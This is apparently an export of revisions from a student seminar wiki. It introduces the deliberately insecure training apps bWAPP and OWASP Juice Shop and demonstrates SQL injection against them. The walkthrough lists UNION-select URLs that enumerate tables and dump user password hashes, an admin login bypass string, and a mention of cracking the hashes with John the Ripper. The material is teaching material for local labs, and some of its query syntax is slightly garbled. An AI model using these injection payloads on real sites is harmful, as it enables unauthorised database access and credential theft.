&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5496</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5496"/>
		<updated>2020-12-21T18:20:47Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Installation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
*The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
*Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears. &lt;br /&gt;
**Username is “bee” &lt;br /&gt;
**Password is “bug”.&lt;br /&gt;
*User is logged in now and can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5493</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5493"/>
		<updated>2020-12-21T18:12:37Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Architecture */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
On the official homepage of ITSEC Games-Project (http://www.itsecgames.com/) you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
Now bWAPP has been successfully installed, if you enter /localhost/bwapp/ in any browser you will get to the login window. Username is “bee” and password is “bug”. You are logged in now and you can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5491</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5491"/>
		<updated>2020-12-21T18:03:22Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses an SQL database. The web service is provided by Linux or Windows with Apache or IIS. It is also supported by WAMP and XAMPP. You can also download bee-box, this is a virtual machine with bWAPP included.&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
On the official homepage of ITSEC Games-Project (http://www.itsecgames.com/) you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
Now bWAPP has been successfully installed, if you enter /localhost/bwapp/ in any browser you will get to the login window. Username is “bee” and password is “bug”. You are logged in now and you can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5489</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5489"/>
		<updated>2020-12-21T17:55:40Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Vulnerable Webservices */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
